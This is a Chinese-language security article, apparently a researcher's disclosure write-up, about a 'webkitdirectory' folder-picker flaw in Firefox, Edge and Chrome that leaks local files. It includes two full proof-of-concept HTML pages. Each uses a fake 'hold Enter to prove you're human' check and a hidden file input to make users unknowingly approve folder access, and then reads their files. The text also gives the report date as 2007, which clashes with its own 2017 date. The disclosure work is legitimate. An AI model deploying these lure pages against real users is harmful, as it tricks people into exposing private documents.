首页 > 安全 > 网络安全 >

针对跨浏览器的本地文件泄露漏洞的分析

2017-04-20

针对跨浏览器的本地文件泄露漏洞的分析你知道吗?你可以轻松把普通的文件选择器变成文件夹选择器,为此,只需将属性“webkitdirectory”添加到type = file 的给定输入元素中就行了。

针对跨浏览器的本地文件泄露漏洞的分析你知道吗?你可以轻松把普通的文件选择器变成文件夹选择器,为此,只需将属性“webkitdirectory”添加到type ='file'的给定输入元素中就行了。 当然,与文件夹选择器不同的是,您最终会加载给定文件夹中的所有文件。这是一个明显的漏洞,机不可失,一阵忙活之后,我最终在三种主流浏览器中找到了一些相关的安全漏洞。 下面,我会针对不同的浏览器分别进行介绍。 火狐浏览器 我已经提交了三个与Mozilla的webkitdirectory功能有关的安全漏洞。幸运的是,文件夹选择器仅在Mozilla的Nightly版本的浏览器中提供了相应的实现,这个版本是在稳定版本发布之前用来测试新功能的。 Bug 1295914——webkitdirectory可以用来引诱用户允许访问任意文件夹(SEC-MEDIUM) 我报告的文件夹选择器方面的第一个安全漏洞与不良语义有关。这个安全漏洞是受到了 Google Chrome中修复的一个漏洞 的启发而找到的,这种漏洞可用来欺骗毫无戒心的用户。 Bug 1319370(CVE-2017-5414)webkitdirectory——操作系统用户名泄露(SEC-MEDIUM) 我认为第二个漏洞是泄露本地文件的关键所在。这里的问题在于,当文件选择器被打开一次后,那么第二次打开它时,它会“降级”文件夹。 所以我制作了一个PoC,其效果为:如果我们诱骗受害者按住“Enter”键,同时弹出一个文件夹,就能导致用户在不知情的情况下“挑选”某些文件夹。 为了获取操作系统用户名,受害者需要按住用于两个文件夹对话框的确认按钮,因为(在Windows上)默认目录是'C:\ Users \ {username} \ Desktp \'。 这是利用这个漏洞时所依赖的主要用户互动,这主要是受到了一个 较旧的Mozilla漏洞 的启发。另一种方式是欺骗用户反复按下某个位置并弹出文件夹,这样的话“confirm pick”按钮将被自动按下。 Bug 1338637——任意输入本地文件[webkitdirectory](SEC-MEDIUM) 我发现,如果在用户按下“Enter”键时弹出一个文件夹的话,那么我们可以欺骗受害者,使我们可以访问默认目录中的所有文件。当然,这种方式还是有一些局限性的,因为在Windows操作系统上,似乎只有“我的文档”文件夹受此影响。 如果它是一个"我的文档"之外的文件夹,如“桌面”(默认),则不会加载任何东西。但是,在其他操作系统上,情况就不同了。 幸运的是,我们前面说过有一个漏洞,其中文件夹将在文件夹选择器使用后“降级”,所以这里可以利用这一点。 以下是原始的PoC。请注意,单凭第一个安全漏洞是远远不够的,只有在组合第二个和第三个安全漏洞之后,才最终得到了一个PoC。

<html>
<head>
</head>
<body>
<style>
#q{
opacity:0.0;
}
</style>
<b>Hold down enter for 5 seconds to prove you&#39;re human</b>
<input type=file id=q webkitdirectory=&#39;true&#39;><br>
<textarea id="qtxt" style="height:300px;">Things grabbed:</textarea>
<script>
var i=25;
document.onkeypress=function(e){if(q.value.length>0){qtxt.value+=(q.value+&#39;\n&#39;);}
if(q.value==&#39;Documents&#39;){
window.i=1000;
}
if(e.key===&#39;Enter&#39;){
window.i--;
if(window.i<3){
q.click();
}
}
};
q.onchange=function(){
if(window.i>10){
document.body.innerHTML=(&#39;I can read &#39;+q.files.length+&#39; files from Documents folder&#39;);
}
}
</script>
</body>
</html>

微软Edge浏览器
我在Edge中发现了一个类似的安全漏洞,不同之处在于默认目录是“我的文档”,所以我在报告中指出,文件夹选择器可以用来接收受害者文档文件夹中的所有文件。 这个漏洞目前已经被修复了。 原始PoC:

<html>
<head>
    <title>
Read all files on PC - PoC - By @qab
    </title>
    <style>
        #thing {
            opacity: 0.0;
        }
    </style>
</head>
<body>
    <h3 id="qmsg">Hold down the ENTER key for 5 seconds to prove you&#39;re human..</h3>
    <input id="thing" type="file" webkitdirectory mozdirectory accept="text/*" />
    <script>
var r = new FileReader();
        thing.onchange = function() {
            alert(&#39;I can read &#39; + this.files.length + &#39; files from anywhere on your pc!&#39;);//This is for PoC only. We can access all data using this.files as seen next.
r.onload=function(){
alert(r.result);
};
r.readAsText(thing.files[0]);
        };
        //This is where we detect if the user is holding the Enter button.
        var i = 0;
        document.onkeydown = function() {
            i++;
            if (i > 4) {
                thing.click();
                i = -10000;
                document.onkeydown = null;
                setTimeout(function() {
                    qmsg.innerHTML = &#39;<u>Thank you! Please wait while we verify (this might take a few minutes).</u>&#39;;
                }, 1000);
            };
        };
    </script>
</body>
</html>

谷歌浏览器
在这些漏洞方面,谷歌是第一家与我接洽的供应商。最初收到的评级为SEC-MEDIUM,后来更改为SEC-LOW,然后就石沉大海了。事实证明,如果有人尝试大规模使用这种类型的漏洞的话,Chrome就能检测到这种类型的漏洞,因为浏览器会自身提供了相应的安全记录。 截至目前为止,我虽然没有完全搞明白,但我相信他们的意思是,他们可以检测和阻止任何恶意网站,如果相应文件夹上传器的使用率陡升的话。在2007年4月13日向微软提交PoC报告时,该PoC仍然在Chrome上有效。 最糟糕的是,如果文件夹选择器默认为&#39;C:\&#39;,您就能够读取整个磁盘——因为文件夹选择器会上传所有子目录中的全部文件。

相关文章
最新文章
热点推荐